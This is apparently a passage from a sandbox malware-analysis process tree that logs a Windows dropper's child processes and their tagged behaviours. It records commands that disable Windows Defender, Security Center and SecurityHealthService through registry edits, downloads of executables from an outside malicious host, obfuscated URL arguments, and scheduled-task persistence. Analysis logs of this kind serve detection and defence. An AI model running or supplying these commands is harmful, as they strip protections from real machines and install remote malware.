PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Modifies Windows Defender notification settings
- Modifies data under HKEY_USERS
PID:5864

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:1196

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:3524

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Modifies security service
PID:6052

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
PID:5408

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:2696

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:6024

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:4060

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies data under HKEY_USERS
PID:4840

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4344

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3548

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:2648

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5340

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:1296

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Get-MpPreference"
5⤵
PID:5764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
5⤵
PID:6076

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
5⤵
PID:4184

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe" "http://www.winfreycmh.Pw/ee/49318310?88723549f88723549=1680859212076152400=0- 4183"
4⤵
- Modifies security service
PID:4060

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:2696

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\uvfooggihuyjdiz.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\uvfooggihuyjdiz.exe" "http://www.winfreycmh.Pw/ee/49318310?88723549g88723549==992464=992464;1" "992464;x6agh;992464;1680859212076152400;1680859212076152400" "C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\88723549"
4⤵
- Drops file in Windows directory
PID:5716

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\uvfooggihuyjdiz.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\uvfooggihuyjdiz.exe" "http://www.winfreycmh.Pw/Gjefia.exe" "992464;i07jy;1680859212076152400" "C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\Gjefia.exe"
4⤵
PID:5524

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:5820

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe" "http://www.winfreycmh.Pw/ee/49318310?88723549f88723549=1680859212076152400=-exe-0" "C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\4183"
4⤵
PID:3080

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:5896

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\jtohhqqziyacze.exe" "http://www.winfreycmh.Pw/ee/49318310?88723549f88723549=1680859212076152400=rgsbbrgxrgsbbrgx" "C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\4183"
4⤵
PID:5680

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\Gjefia.exe
C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\Gjefia.exe jtohhqqziyacze.exe "http://www.winfreycmh.Pw
4⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Drops file in Windows directory
PID:5480

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\MicrosoftEdgeWebview2Setup.exe
"C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\MicrosoftEdgeWebview2Setup.exe" /silent /install
5⤵
PID:5936

C:\Program Files (x86)\Microsoft\Temp\EUA4A4.tmp\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\Temp\EUA4A4.tmp\MicrosoftEdgeUpdate.exe" /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
6⤵
- Sets file execution options in registry
- Checks computer location settings
- Checks system information in the registry
PID:5636

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
7⤵
- Modifies registry class
PID:5408

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
7⤵
- Modifies registry class
PID:2536

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
8⤵
- Registers COM server for autorun
- Modifies registry class
PID:3360

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
8⤵
- Registers COM server for autorun
- Modifies registry class
PID:5524

C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
8⤵
- Registers COM server for autorun
- Modifies registry class
PID:5552

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QUQxQkVDNDYtNzc3Ny00RkQ4LUE2MzctM0FBQ0ZCRjQzQjEwfSIgdXNlcmlkPSJ7QTJBQjAyQjYtOUMyMC00MDM5LTg3RDAtNjg4RTY2ODdGODE0fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9Ins3ODFBRERFOC01MUExLTQzMzgtQTJERi1BQjEwOEFCM0FDOER9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iNCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3FXSlN6V3dQZmRjTFIrWEdJdjZ4clpmaVlPeGhQVTJzMU5XbWpXY2FGUGc9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0ie0YzQzRGRTAwLUVGRDUtNDAzQi05NTY5LTM5OEEyMEYxQkE0QX0iIHZlcnNpb249IjEuMy4xNzMuNDUiIG5leHR2ZXJzaW9uPSIxLjMuMTcxLjM5IiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI4MDkwMDkzMjM3IiBpbnN0YWxsX3RpbWVfbXM9IjY3OCIvPjwvYXBwPjwvcmVxdWVzdD4
7⤵
- Checks system information in the registry
PID:5844

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{AD1BEC46-7777-4FD8-A637-3AACFBF43B10}" /silent
7⤵
PID:6056

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\splash.exe
"C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\splash.exe"
5⤵
- Adds Run key to start application
- Modifies Internet Explorer settings
PID:5928

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\streptococcal"
5⤵
PID:5444

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\streptococcal".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:5300

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\brahms"
5⤵
PID:5564

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\brahms".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:5984

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\Gittings"
5⤵
PID:3312

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\Gittings".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:1436

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\Recombining"
5⤵
PID:5168

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\Recombining".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:5020

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\formby"
5⤵
PID:1280

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\formby".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:2152

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\jewels"
5⤵
PID:5816

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\jewels".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:3868

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\38366.exe
"C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\38366.exe"
5⤵
PID:3396

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsL"
5⤵
PID:5596

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\GittingsL".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:5940

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningL"
5⤵
PID:3524

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\RecombiningL".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:4396

C:\Program Files (x86)\Blocks\Gittings.exe
"C:\Program Files (x86)\Blocks\Gittings.exe" tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb
5⤵
PID:3368

C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe
C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\titcomb.exe "C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\halfback"
5⤵
PID:5376

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /xml ""C:\Users\Admin\AppData\Local\Temp\nsqA447.tmp\halfback".xml" /tn "" /f
6⤵
- Creates scheduled task(s)
PID:3168

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
5⤵
PID:6020

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4828

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5656

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3352

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3532

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1568

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2292

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2536

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:800

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5544

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1152

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3080

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5192

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2976

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2636

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3044

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3080

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:220

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5436

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3208

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:924

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1300

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3208

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:740

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5872

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5544

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4836

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4384

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1348

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:800

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3716

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1892

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2456

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5204

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1808

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1964

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4828

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:316

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:616

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5828

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:6088

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3728

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:5828

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3728

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:272

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:1044

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4064

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3516

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2900

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:4720

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:2952

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\tweedledum.exe" /mute "Microsoft Edge WebView2"
6⤵
PID:3792

C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe
"C:\Users\Admin\AppData\Local\Temp\nsu3613.tmp\marquez.exe" /mute "Microsoft Edge WebView2"
